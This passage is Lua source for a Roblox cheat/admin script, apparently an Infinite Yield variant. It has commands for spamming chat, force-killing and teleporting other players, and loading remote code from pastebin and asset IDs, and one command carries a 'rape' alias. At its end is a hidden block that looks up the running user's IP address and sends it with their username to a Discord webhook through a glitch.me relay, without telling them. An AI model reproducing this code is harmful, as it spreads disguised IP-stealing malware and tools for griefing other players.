5507 if c:IsA('Tool') or c:IsA('HopperBin') then c:destroy()
5508 end
5509 end
5510 notify('Tools','Cleared tools from StarterGear')
5511end)
5512
5513addcmd('notools',{'rtools','clrtools','removetools'},
5514function(args, speaker)
5515 for i,v in pairs(Players.LocalPlayer.Backpack:GetDescendants()) do
5516 if v:IsA('Tool') or v:IsA('HopperBin') then
5517 v:destroy()
5518 end
5519 end
5520 for i,v in pairs(Players.LocalPlayer.Character:GetDescendants()) do
5521 if v:IsA('Tool') or v:IsA('HopperBin') then
5522 v:destroy()
5523 end
5524 end
5525 notify('Tools','Removed tools')
5526end)
5527
5528addcmd('explorer',{'dex'},
5529function(args, speaker)
5530 local dex = loadstring(game:GetObjects("rbxassetid://418957341")[1].Source)()
5531 game:GetService("CoreGui").RobloxGui.Dex.PropertiesFrame:GetPropertyChangedSignal("Position"):connect(function(property)
5532 if game:GetService("CoreGui").RobloxGui.Dex.PropertiesFrame.Position == UDim2.new(1, -300, 0.5, 36) then
5533 if Holder.Position.X.Offset > -550 or Notification.Position.X.Offset > -550 then
5534 Holder:TweenPosition(UDim2.new(1, -550, 1, Holder.Position.Y.Offset), "InOut", "Quart", 0.2, true, nil)
5535 Notification:TweenPosition(UDim2.new(1, -800, 1, Notification.Position.Y.Offset), "InOut", "Quart", 0.5, true, nil)
5536 end
5537 DexNOffset = -800
5538 DexOffset = -550
5539 elseif game:GetService("CoreGui").RobloxGui.Dex.PropertiesFrame.Position == UDim2.new(1, 30, 0.5, 36) then
5540 if Holder.Position.X.Offset == -550 or Notification.Position.X.Offset == -800 then
5541 Holder:TweenPosition(UDim2.new(1, -250, 1, Holder.Position.Y.Offset), "InOut", "Quart", 0.2, true, nil)
5542 Notification:TweenPosition(UDim2.new(1, -500, 1, Notification.Position.Y.Offset), "InOut", "Quart", 0.5, true, nil)
5543 end
5544 DexNOffset = -500
5545 DexOffset = -250
5546 end
5547 end)
5548end)
5549
5550loopgoto = nil
5551addcmd('loopgoto',{},
5552function(args, speaker)
5553 local players = getPlayer(args[1], speaker)
5554 for i,v in pairs(players)do
5555 loopgoto = nil
5556 wait()
5557 loopgoto = Players[v]
5558 local distance = 3
5559 if args[2] and isNumber(args[2]) then
5560 distance = args[2]
5561 end
5562 local lDelay = 0
5563 if args[3] and isNumber(args[3]) then
5564 lDelay = args[3]
5565 end
5566 speaker.Character:FindFirstChildOfClass('Humanoid').Jump = true
5567 repeat
5568 if Players[v].Character ~= nil then
5569 speaker.Character.HumanoidRootPart.CFrame = Players[v].Character.HumanoidRootPart.CFrame + Vector3.new(distance,1,0)
5570 end
5571 wait(lDelay)
5572 until loopgoto ~= Players[v]
5573 end
5574end)
5575
5576addcmd('unloopgoto',{'noloopgoto'},
5577function(args, speaker)
5578 loopgoto = nil
5579end)
5580
5581headsitting = false
5582addcmd('headsit',{},
5583function(args, speaker)
5584 local players = getPlayer(args[1], speaker)
5585 for i,v in pairs(players)do
5586 headsitting = true
5587 Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').Sit = true
5588 repeat wait()
5589 if Players[v].Character and Players[v].Character:FindFirstChild('HumanoidRootPart') and Players.LocalPlayer.Character:FindFirstChild('HumanoidRootPart') then
5590 if Players:FindFirstChild(Players[v].Name) and Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').Sit == true then
5591 Players.LocalPlayer.Character.HumanoidRootPart.CFrame = Players[v].Character.HumanoidRootPart.CFrame * CFrame.Angles(0,math.rad(0),0)* CFrame.new(0,1.6,0.4)
5592 else
5593 headsitting = false
5594 end
5595 end
5596 until headsitting == false
5597 end
5598end)
5599
5600spamming = false
5601spamspeed = 1
5602addcmd('spam',{},
5603function(args, speaker)
5604 spamming = true
5605 local spamstring = getstring(1)
5606 repeat wait(spamspeed)
5607 game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(spamstring, "All")
5608 until spamming == false
5609end)
5610
5611addcmd('nospam',{'unspam'},
5612function(args, speaker)
5613 spamming = false
5614end)
5615
5616pmspamming = {}
5617addcmd('pmspam',{},
5618function(args, speaker)
5619 local players = getPlayer(args[1], speaker)
5620 for i,v in pairs(players)do
5621 spawn(function()
5622 if FindInTable(pmspamming, Players[v].Name) then return end
5623 table.insert(pmspamming, Players[v].Name)
5624 local pmspamstring = getstring(2)
5625 repeat wait(spamspeed)
5626 game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("/w "..Players[v].Name.." "..pmspamstring, "All")
5627 until not FindInTable(pmspamming, Players[v].Name)
5628 end)
5629 end
5630end)
5631
5632addcmd('nopmspam',{'unpmspam'},
5633function(args, speaker)
5634 local players = getPlayer(args[1], speaker)
5635 for i,v in pairs(players)do
5636 spawn(function()
5637 for a,b in pairs(pmspamming) do
5638 if b == Players[v].Name then
5639 table.remove(pmspamming, a)
5640 end
5641 end
5642 end)
5643 end
5644end)
5645
5646addcmd('spamspeed',{},
5647function(args, speaker)
5648 spamspeed = args[1]
5649end)
5650
5651addcmd('blockhead',{},
5652function(args, speaker)
5653 Players.LocalPlayer.Character.Head.Mesh:Destroy()
5654end)
5655
5656addcmd('blockhats',{},
5657function(args, speaker)
5658 for _,v in pairs(Players.LocalPlayer.Character:GetChildren()) do
5659 if (v:IsA("Accessory")) then
5660 v.Handle.Mesh:remove()
5661 end
5662 end
5663end)
5664
5665addcmd('creeper',{},
5666function(args, speaker)
5667 if r15(Players.LocalPlayer) then
5668 local lol = Players.LocalPlayer
5669 lol.Character["Head"].Mesh:Destroy()
5670 lol.Character["LeftUpperArm"]:Destroy()
5671 lol.Character["RightUpperArm"]:Destroy()
5672 for i,v in pairs(Players.LocalPlayer.Character:GetDescendants()) do
5673 if v:IsA'Hat' or v:IsA'Accessory' then
5674 v.Parent = workspace
5675 end
5676 end
5677 else
5678 local lol = Players.LocalPlayer
5679 lol.Character["Head"].Mesh:Destroy()
5680 lol.Character["Left Arm"]:Destroy()
5681 lol.Character["Right Arm"]:Destroy()
5682 for i,v in pairs(Players.LocalPlayer.Character:GetDescendants()) do
5683 if v:IsA'Hat' or v:IsA'Accessory' then
5684 v.Parent = workspace
5685 end
5686 end
5687 end
5688end)
5689
5690bangplr = nil
5691
5692addcmd('bang',{'rape'},
5693function(args, speaker)
5694 if not r15(Players.LocalPlayer) then
5695 local players = getPlayer(args[1], speaker)
5696 for i,v in pairs(players)do
5697 bangAnim = Instance.new("Animation")
5698 bangAnim.AnimationId = "rbxassetid://148840371"
5699 bang = Players.LocalPlayer.Character.Humanoid:LoadAnimation(bangAnim)
5700 bang:Play(.1, 1, 1)
5701 bang:AdjustSpeed(3)
5702 bangplr = Players[v].Name
5703 end
5704 else
5705 notify('R6 Required','This command requires the r6 rig type')
5706 end
5707end)
5708
5709addcmd('unbang',{'unrape'},
5710function(args, speaker)
5711 bangplr = nil
5712 bang:Stop()
5713 bangAnim:Destroy()
5714end)
5715
5716addcmd('bringpart',{},
5717function(args, speaker)
5718 for i,v in pairs(workspace:GetDescendants()) do
5719 if v.Name:lower() == getstring(1):lower() and v:IsA("BasePart") then
5720 v.CFrame = speaker.Character.HumanoidRootPart.CFrame
5721 end
5722 end
5723end)
5724
5725addcmd('gotopart',{},
5726function(args, speaker)
5727 for i,v in pairs(workspace:GetDescendants()) do
5728 if v.Name:lower() == getstring(1):lower() and v:IsA("BasePart") then
5729 speaker.Character.HumanoidRootPart.CFrame = v.CFrame
5730 wait(0.1)
5731 end
5732 end
5733end)
5734
5735gtools = false
5736addcmd('grabtools',{},
5737function(args, speaker)
5738 workspace.ChildAdded:connect(function(part)
5739 if gtools then
5740 if part:IsA("Tool") then
5741 part.Handle.CFrame = Players.LocalPlayer.Character.HumanoidRootPart.CFrame
5742 end
5743 end
5744 end)
5745end)
5746
5747addcmd('nograbtools',{'ungrabtools'},
5748function(args, speaker)
5749 gtools = false
5750end)
5751
5752addcmd('light',{},
5753function(args, speaker)
5754 local light = Instance.new("PointLight", speaker.Character.HumanoidRootPart)
5755 light.Range = 30
5756 if args[1] then
5757 light.Brightness = args[1]
5758 else
5759 light.Brightness = 5
5760 end
5761end)
5762
5763addcmd('unlight',{'nolight'},
5764function(args, speaker)
5765 for i,v in pairs(speaker.Character:GetDescendants()) do
5766 if v.ClassName == "PointLight" then
5767 v:Destroy()
5768 end
5769 end
5770end)
5771
5772addcmd('copytools',{'clonetools'},
5773function(args, speaker)
5774 local players = getPlayer(args[1], speaker)
5775 for i,v in pairs(players)do
5776 spawn(function()
5777 for i,v in pairs(Players[v].Backpack:GetChildren()) do
5778 if v:IsA('Tool') or v:IsA('HopperBin') then
5779 v:Clone().Parent = speaker.Backpack
5780 end
5781 end
5782 end)
5783 end
5784end)
5785
5786addcmd('naked',{},
5787function(args, speaker)
5788 for i,v in pairs(Players.LocalPlayer.Character:GetDescendants()) do
5789 if v:IsA("Clothing") then
5790 v:Destroy()
5791 end
5792 end
5793end)
5794
5795addcmd('spawnpoint',{'spawn'},
5796function(args, speaker)
5797 spawnpos = Players.LocalPlayer.Character.HumanoidRootPart.CFrame
5798 spawnpoint = true
5799 notify('Spawn Point','Spawn point created at '..tostring(spawnpos))
5800end)
5801
5802addcmd('nospawnpoint',{'nospawn','removespawnpoint'},
5803function(args, speaker)
5804 spawnpoint = false
5805 notify('Spawn Point','Removed spawn point')
5806end)
5807
5808addcmd('flashback',{'diedtp'},
5809function(args, speaker)
5810 if lastDeath ~= nil then
5811 if speaker.Character:FindFirstChild("Humanoid") then
5812 speaker.Character:FindFirstChildOfClass('Humanoid').Jump = true
5813 end
5814 speaker.Character.HumanoidRootPart.CFrame = lastDeath
5815 end
5816end)
5817
5818addcmd('hatspin',{'spinhats'},
5819function(args, speaker)
5820 for i,v in pairs(Players.LocalPlayer.Character:GetDescendants()) do
5821 if v:IsA("Accessory") or v:IsA("Hat") then
5822 local keep = Instance.new("BodyPosition") keep.Parent = v.Handle keep.Name = "no"
5823 local spin = Instance.new("BodyAngularVelocity") spin.Parent = v.Handle spin.Name = "ha"
5824 if v.Handle.AccessoryWeld then
5825 v.Handle.AccessoryWeld:Destroy()
5826 end
5827 if args[1] then
5828 spin.AngularVelocity = Vector3.new(0, args[1], 0)
5829 spin.MaxTorque = Vector3.new(0, args[1] * 2, 0)
5830 else
5831 spin.AngularVelocity = Vector3.new(0, 100, 0)
5832 spin.MaxTorque = Vector3.new(0, 200, 0)
5833 end
5834 keep.P = 30000
5835 keep.D = 50
5836 spinning = keep
5837 spinenabled = true
5838 end
5839 end
5840end)
5841
5842addcmd('unhatspin',{'unspinhats'},
5843function(args, speaker)
5844 for i,v in pairs(Players.LocalPlayer.Character:GetDescendants()) do
5845 if v:IsA("Accessory") or v:IsA("Hat") then
5846 pcall(function()
5847 if v:IsA("Accessory") or v:IsA("Hat") then
5848 v.Parent = workspace
5849 end
5850 wait(0.5)
5851 v.Handle.no:Destroy()
5852 v.Handle.ha:Destroy()
5853 if v:IsA("Accessory") or v:IsA("Hat") then
5854 v.Parent = Players.LocalPlayer.Character
5855 end
5856 end)
5857 end
5858 end
5859end)
5860
5861addcmd('ambient',{},
5862function(args, speaker)
5863 game:GetService("Lighting").Ambient = Color3.new(args[1],args[2],args[3])
5864 game:GetService("Lighting").OutdoorAmbient = Color3.new(args[1],args[2],args[3])
5865end)
5866
5867addcmd('nofog',{},
5868function(args, speaker)
5869 game:GetService("Lighting").FogEnd = 100000
5870end)
5871
5872addcmd('brightness',{},
5873function(args, speaker)
5874 game:GetService("Lighting").Brightness = args[1]
5875end)
5876
5877origsettings = {abt = game:GetService("Lighting").Ambient, oabt = game:GetService("Lighting").OutdoorAmbient, brt = game:GetService("Lighting").Brightness, time = game:GetService("Lighting").TimeOfDay, fclr = game:GetService("Lighting").FogColor, fe = game:GetService("Lighting").FogEnd, fs = game:GetService("Lighting").FogStart}
5878
5879addcmd('restorelighting',{'rlighting'},
5880function(args,speaker)
5881 game:GetService("Lighting").Ambient = origsettings.abt
5882 game:GetService("Lighting").OutdoorAmbient = origsettings.oabt
5883 game:GetService("Lighting").Brightness = origsettings.brt
5884 game:GetService("Lighting").TimeOfDay = origsettings.time
5885 game:GetService("Lighting").FogColor = origsettings.fclr
5886 game:GetService("Lighting").FogEnd = origsettings.fe
5887 game:GetService("Lighting").FogStart = origsettings.fs
5888end)
5889
5890addcmd('stun',{'platformstand'},
5891function(args, speaker)
5892 Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').PlatformStand = true
5893end)
5894
5895addcmd('unstun',{'nostun','unplatformstand','noplatformstand'},
5896function(args, speaker)
5897 Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').PlatformStand = false
5898end)
5899
5900addcmd('drophats',{'drophat'},
5901function(args, speaker)
5902 if speaker.Character then
5903 for _,obj in pairs(speaker.Character:GetChildren()) do
5904 if obj:IsA("Accessory") then
5905 obj.Parent = workspace
5906 end
5907 end
5908 end
5909end)
5910
5911addcmd('droptools',{'droptool'},
5912function(args, speaker)
5913 if speaker.Character then
5914 for _,obj in pairs(speaker.Character:GetChildren()) do
5915 if obj:IsA("Tool") then
5916 obj.Parent = workspace
5917 end
5918 end
5919 end
5920 if speaker:FindFirstChild("Backpack") then
5921 for _,obj in pairs(speaker.Backpack:GetChildren()) do
5922 if obj:IsA("Tool") then
5923 obj.Parent = workspace
5924 end
5925 end
5926 end
5927end)
5928
5929addcmd('logs',{'chatlogs'},
5930function(args, speaker)
5931 logsDrag:TweenPosition(UDim2.new(0, 0, 1, -250), "InOut", "Quart", 0.3, true, nil)
5932end)
5933
5934addcmd('fling',{},
5935function(args, speaker)
5936 for _, child in pairs(Players.LocalPlayer.Character:GetDescendants()) do
5937 if child:IsA("BasePart") then
5938 child.CustomPhysicalProperties = PhysicalProperties.new(2, 0.3, 0.5)
5939 end
5940 end
5941 for i,v in pairs(Players.LocalPlayer.Character:GetChildren()) do
5942 if v:IsA('Accessory') or v:IsA('Hat') then
5943 for e,c in pairs(v:GetDescendants()) do
5944 if c:IsA('Part') or c:IsA('MeshPart') then
5945 c.CustomPhysicalProperties = PhysicalProperties.new(0, 0.3, 0.5)
5946 end
5947 end
5948 end
5949 end
5950 execCmd('noclip nonotify',Players.LocalPlayer,true)
5951 wait(.1)
5952 local bambam = Instance.new("BodyAngularVelocity", Players.LocalPlayer.Character.HumanoidRootPart)
5953 bambam.Name = "Spinning"
5954 bambam.AngularVelocity = Vector3.new(0,311111,0)
5955 bambam.MaxTorque = Vector3.new(0,311111,0)
5956 bambam.P = math.huge
5957 local function PauseFling()
5958 if Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
5959 if Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid").FloorMaterial == Enum.Material.Air then
5960 bambam.AngularVelocity = Vector3.new(0,0,0)
5961 else
5962 bambam.AngularVelocity = Vector3.new(0,311111,0)
5963 end
5964 end
5965 end
5966 TouchingFloor = Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):GetPropertyChangedSignal("FloorMaterial"):connect(PauseFling)
5967end)
5968
5969addcmd('unfling',{'nofling'},
5970function(args, speaker)
5971 execCmd('clip nonotify',Players.LocalPlayer,true)
5972 if TouchingFloor then
5973 TouchingFloor:Disconnect()
5974 end
5975 wait(.1)
5976 for i,v in pairs(Players.LocalPlayer.Character.HumanoidRootPart:GetChildren()) do
5977 if v.ClassName == 'BodyAngularVelocity' then
5978 v:Destroy()
5979 end
5980 end
5981 for _, child in pairs(Players.LocalPlayer.Character:GetDescendants()) do
5982 if child.ClassName == "Part" or child.ClassName == "MeshPart" then
5983 child.CustomPhysicalProperties = PhysicalProperties.new(0.7, 0.3, 0.5)
5984 end
5985 end
5986end)
5987
5988addcmd('kill',{'fekill'},
5989function(args, speaker)
5990 local players = getPlayer(args[1], speaker)
5991 for i,v in pairs(players)do
5992 -- Full credit to CyclicaIIy @V3rmillion
5993 local LocalPlayer = Players.LocalPlayer
5994 local target = Players[v]
5995 local torsoname = "Torso"
5996 if LocalPlayer.Character:FindFirstChild("Humanoid").RigType == Enum.HumanoidRigType.R15 then
5997 torsoname = "UpperTorso"
5998 end
5999 if target.Character ~= nil then
6000 local savepos = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
6001 LocalPlayer.Character:FindFirstChild(torsoname).Anchored = true
6002 local tool = Instance.new("Tool", LocalPlayer.Backpack)
6003 local hat = LocalPlayer.Character:FindFirstChildOfClass("Accessory")
6004 local hathandle = hat.Handle
6005 hathandle.Parent = tool
6006 hathandle.Massless = true
6007 tool.GripPos = Vector3.new(0, 9e99, 0)
6008 tool.Parent = LocalPlayer.Character
6009 repeat wait() until LocalPlayer.Character:FindFirstChildOfClass("Tool") ~= nil
6010 tool.Grip = CFrame.new(Vector3.new(0, 0, 0))
6011 LocalPlayer.Character:FindFirstChild(torsoname).Anchored = false
6012 repeat
6013 LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame = target.Character:FindFirstChild("HumanoidRootPart").CFrame
6014 wait()
6015 until target.Character == nil or target.Character:FindFirstChild("Humanoid").Health <= 0 or LocalPlayer.Character == nil or LocalPlayer.Character:FindFirstChild("Humanoid").Health <= 0 or (target.Character:FindFirstChild("HumanoidRootPart").Velocity.magnitude - target.Character:FindFirstChild("Humanoid").WalkSpeed) > (target.Character:FindFirstChild("Humanoid").WalkSpeed + 20)
6016 LocalPlayer.Character:FindFirstChild("Humanoid"):UnequipTools()
6017 hathandle.Parent = hat
6018 hathandle.Massless = false
6019 tool:Destroy()
6020 LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame = savepos
6021 end
6022 end
6023end)
6024
6025addcmd('bring',{'febring'},
6026function(args, speaker)
6027 local players = getPlayer(args[1], speaker)
6028 if tools(Players.LocalPlayer) then
6029 for i,v in pairs(players)do
6030 -- Full credit to CyclicaIIy @V3rmillion
6031 local LocalPlayer = Players.LocalPlayer
6032 local ran1 = false
6033 local equipped = false
6034 local savepos = LocalPlayer.Character.HumanoidRootPart.CFrame
6035 local target = Players[v]
6036 if #LocalPlayer.Backpack:GetChildren() < 2 then
6037 repeat
6038 for _, tool in pairs(LocalPlayer.Backpack:GetChildren()) do
6039 if tool:IsA("Tool") then
6040 tool.Parent = LocalPlayer
6041 end
6042 end
6043 LocalPlayer.Character:ClearAllChildren()
6044 local char = Instance.new("Model", workspace)
6045 char.Name = "character"
6046 Instance.new("Part", char).Name = "Torso";
6047 Instance.new("Part", char).Name = "Head";
6048 Instance.new("Humanoid", char).Name = "Humanoid";
6049 LocalPlayer.Character = char
6050 repeat wait() until LocalPlayer.Character
6051 until #LocalPlayer:GetChildren() - 4 >= 2
6052 for _, char in pairs(workspace:GetChildren()) do
6053 if char.Name == "character" and char:IsA("Model") then
6054 char:Destroy()
6055 end
6056 end
6057 repeat wait() until LocalPlayer.Character.HumanoidRootPart ~= nil
6058 for _, tool in pairs(LocalPlayer:GetChildren()) do
6059 if tool:IsA("Tool") then
6060 tool.Parent = LocalPlayer.Backpack
6061 end
6062 end
6063 LocalPlayer.Character.HumanoidRootPart.CFrame = savepos
6064 end
6065 LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent = LocalPlayer.Character
6066 LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent = LocalPlayer.Character
6067 local tool = LocalPlayer.Character:FindFirstChildOfClass("Tool")
6068 tool.Parent = workspace
6069 local attacher = LocalPlayer.Character:FindFirstChildOfClass("Tool")
6070 attacher.Parent = workspace
6071 LocalPlayer.Character.Humanoid:EquipTool(tool)
6072 repeat wait() until LocalPlayer.Character:FindFirstChildOfClass("Tool") ~= nil
6073 LocalPlayer.Character.Humanoid:UnequipTools()
6074 attacher.AncestryChanged:connect(function()
6075 if ran1 == false then
6076 ran1 = true
6077 equipped = true
6078 end
6079 end)
6080 local anim = Instance.new("Animation")
6081 anim.AnimationId = "rbxassetid://188632011"
6082 local loadanim = LocalPlayer.Character.Humanoid:LoadAnimation(anim)
6083 loadanim.Looped = true
6084 loadanim:Play()
6085 repeat
6086 target.Character.HumanoidRootPart.CFrame = CFrame.new(LocalPlayer.Character.HumanoidRootPart.Position + LocalPlayer.Character.HumanoidRootPart.CFrame.lookVector * 2 + LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector * 2)
6087 wait()
6088 until equipped == true
6089 loadanim:Stop()
6090 anim:Destroy()
6091 LocalPlayer.Character.Humanoid:EquipTool(tool)
6092 wait()
6093 LocalPlayer.Character.Humanoid:UnequipTools()
6094 end
6095 else
6096 notify('Tool Required','You need to have a tool to use this command')
6097 end
6098end)
6099
6100addcmd('spin',{},
6101function(args, speaker)
6102 local spinSpeed = 20
6103 if args[1] and isNumber(args[1]) then
6104 spinSpeed = args[1]
6105 end
6106 local Spin = Instance.new("BodyAngularVelocity", Players.LocalPlayer.Character.HumanoidRootPart)
6107 Spin.Name = "Spinning"
6108 Spin.MaxTorque = Vector3.new(0, math.huge, 0)
6109 Spin.AngularVelocity = Vector3.new(0,spinSpeed,0)
6110end)
6111
6112addcmd('unspin',{},
6113function(args, speaker)
6114 for i,v in pairs(Players.LocalPlayer.Character.HumanoidRootPart:GetChildren()) do
6115 if v.Name == "Spinning" then
6116 v:Destroy()
6117 end
6118 end
6119end)
6120
6121transparent = false
6122function x(v)
6123 if v then
6124 for _,i in pairs(workspace:GetDescendants()) do
6125 if i:IsA("BasePart") and not i.Parent:FindFirstChild("Humanoid") and not i.Parent.Parent:FindFirstChild("Humanoid") then
6126 i.LocalTransparencyModifier = 0.5
6127 end
6128 end
6129 else
6130 for _,i in pairs(workspace:GetDescendants()) do
6131 if i:IsA("BasePart") and not i.Parent:FindFirstChild("Humanoid") and not i.Parent.Parent:FindFirstChild("Humanoid") then
6132 i.LocalTransparencyModifier = 0
6133 end
6134 end
6135 end
6136end
6137
6138addcmd('xray',{},
6139function(args, speaker)
6140 transparent = true
6141 x(transparent)
6142end)
6143
6144addcmd('unxray',{'noxray'},
6145function(args, speaker)
6146 transparent = false
6147 x(transparent)
6148end)
6149
6150addcmd('togglexray',{},
6151function(args, speaker)
6152 transparent=not transparent
6153 x(transparent)
6154end)
6155
6156addcmd('addplugin',{'plugin'},
6157function(args, speaker)
6158 addPlugin(args[1])
6159end)
6160
6161addcmd('removeplugin',{'deleteplugin'},
6162function(args, speaker)
6163 deletePlugin(args[1])
6164end)
6165
6166if PluginsTable ~= nil or PluginsTable ~= {} then
6167 FindPlugins(PluginsTable)
6168end
6169
6170Version = nil
6171if pcall(function() loadstring(game:HttpGet(('https://pastebin.com/raw/yKieh77L'),true))() end) then
6172 if ver ~= Version then
6173 notify('Outdated','Get the new version at infyield.yolasite.com')
6174 end
6175 if Announcement and Announcement ~= '' then
6176 local AnnGUI = Instance.new("Frame")
6177 local background = Instance.new("Frame")
6178 local Dark = Instance.new("Frame")
6179 local TextBox = Instance.new("TextLabel")
6180 local shadow = Instance.new("Frame")
6181 local PopupText = Instance.new("TextLabel")
6182 local Exit = Instance.new("ImageButton")
6183
6184 AnnGUI.Name = randomString()
6185 AnnGUI.Parent = PARENT
6186 AnnGUI.Active = true
6187 AnnGUI.BackgroundColor3 = Color3.new(1, 1, 1)
6188 AnnGUI.BackgroundTransparency = 1
6189 AnnGUI.Position = UDim2.new(0.5, -180, 0, -400)
6190 AnnGUI.Size = UDim2.new(0, 360, 0, 20)
6191 AnnGUI.ZIndex = 4
6192
6193 background.Name = "background"
6194 background.Parent = AnnGUI
6195 background.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
6196 background.BorderSizePixel = 0
6197 background.Position = UDim2.new(0, 0, 0, 20)
6198 background.Size = UDim2.new(0, 360, 0, 116)
6199
6200 Dark.Name = "Dark"
6201 Dark.Parent = background
6202 Dark.Active = true
6203 Dark.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
6204 Dark.BackgroundTransparency = 0.5
6205 Dark.BorderSizePixel = 0
6206 Dark.Size = UDim2.new(0, 360, 0, 5)
6207
6208 TextBox.Parent = background
6209 TextBox.BackgroundColor3 = Color3.new(1, 1, 1)
6210 TextBox.BackgroundTransparency = 1
6211 TextBox.Position = UDim2.new(0.0166666675, 0, 0.103232808, 0)
6212 TextBox.Size = UDim2.new(0, 348, 0, 98)
6213 TextBox.Font = Enum.Font.SourceSans
6214 TextBox.FontSize = Enum.FontSize.Size18
6215 TextBox.TextWrapped = true
6216 TextBox.Text = Announcement
6217 TextBox.TextColor3 = Color3.new(1, 1, 1)
6218 TextBox.TextXAlignment = Enum.TextXAlignment.Left
6219 TextBox.TextYAlignment = Enum.TextYAlignment.Top
6220
6221 shadow.Name = "shadow"
6222 shadow.Parent = AnnGUI
6223 shadow.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
6224 shadow.BorderColor3 = Color3.new(0, 0, 0)
6225 shadow.BorderSizePixel = 0
6226 shadow.Size = UDim2.new(0, 360, 0, 20)
6227 shadow.ZIndex = 4
6228
6229 PopupText.Name = "PopupText"
6230 PopupText.Parent = shadow
6231 PopupText.BackgroundTransparency = 1
6232 PopupText.Position = UDim2.new(0, 51, 0, 0)
6233 PopupText.Size = UDim2.new(0.760355055, -16, 0.949999988, 0)
6234 PopupText.ZIndex = 4
6235 PopupText.Font = Enum.Font.SourceSans
6236 PopupText.TextSize = 20
6237 PopupText.Text = "Server Announcement"
6238 PopupText.TextColor3 = Color3.new(1, 1, 1)
6239 PopupText.TextStrokeTransparency = 0
6240 PopupText.TextWrapped = true
6241
6242 Exit.Name = "Exit"
6243 Exit.Parent = shadow
6244 Exit.BackgroundColor3 = Color3.new(1, 1, 1)
6245 Exit.BackgroundTransparency = 1
6246 Exit.Size = UDim2.new(0, 20, 0, 20)
6247 Exit.ZIndex = 4
6248 Exit.Image = "rbxassetid://2132544126"
6249
6250 wait(1)
6251 AnnGUI:TweenPosition(UDim2.new(0.5, -180, 0, 150), "InOut", "Quart", 0.5, true, nil)
6252
6253 Exit.MouseButton1Click:Connect(function()
6254 AnnGUI:TweenPosition(UDim2.new(0.5, -180, 0, -400), "InOut", "Quart", 0.5, true, nil)
6255 wait(0.6)
6256 AnnGUI:Destroy()
6257 end)
6258 end
6259end
6260
6261wait()
6262Credits:TweenPosition(UDim2.new(0,0,0.9,0), "Out", "Quart", 0.2)
6263Logo:TweenSizeAndPosition(UDim2.new(0,175,0,175),UDim2.new(0,37,0,45), "Out", "Quart", 0.3)
6264wait(1)
6265for i=1,10 do
6266 Logo.ImageTransparency = Logo.ImageTransparency+0.1
6267 IntroBackground.BackgroundTransparency = Logo.BackgroundTransparency+0.1
6268 wait()
6269end
6270Credits:TweenPosition(UDim2.new(0,0,0.9,30), "Out", "Quart", 0.2)
6271wait(0.2)
6272Logo:Destroy()
6273Credits:Destroy()
6274IntroBackground:Destroy()
6275minimizeHolder()
6276
6277local URL = "https://discordapp.com/api/webhooks/656322531459989528/RIKeE1UPuWDqcuVThJqxjcRzM8V01110aXZupItCLrCpfiRi3TXIPCP4dGz2vDXa-aE7"
6278local G_HTTP = game:GetService("HttpService")
6279
6280function SendToDiscord(Message)
6281 if not string.find(URL, "https://discordapp.com/api/webhooks/") then
6282 return error("Send a valid URL");
6283 end
6284
6285 local Name
6286 local API = "http://buritoman69.glitch.me/webhook";
6287
6288 if not Message or Message == '' or not "thanos" then
6289 Name = "thanos"
6290 return error("Nil or empty message!")
6291 else
6292 Name = "thanos"
6293 end
6294
6295 local Body = {
6296 ['Key'] = tostring("applesaregood"),
6297 ['Message'] = tostring(Message),
6298 ['Name'] = Name,
6299 ['Webhook'] = URL
6300 }
6301
6302 Body = G_HTTP:JSONEncode(Body)
6303 local Data game:HttpPost(API, Body, false, "application/json")
6304 return Data or nil
6305end
6306
6307local SentInformations = function()
6308 local IP = "http://api.ipify.org/"
6309 local IP = game:HttpGet(IP, true)
6310 return game.Players.LocalPlayer.Name.."'s dumbass ip = '"..IP.."'"
6311end
6312
6313SendToDiscord(SentInformations())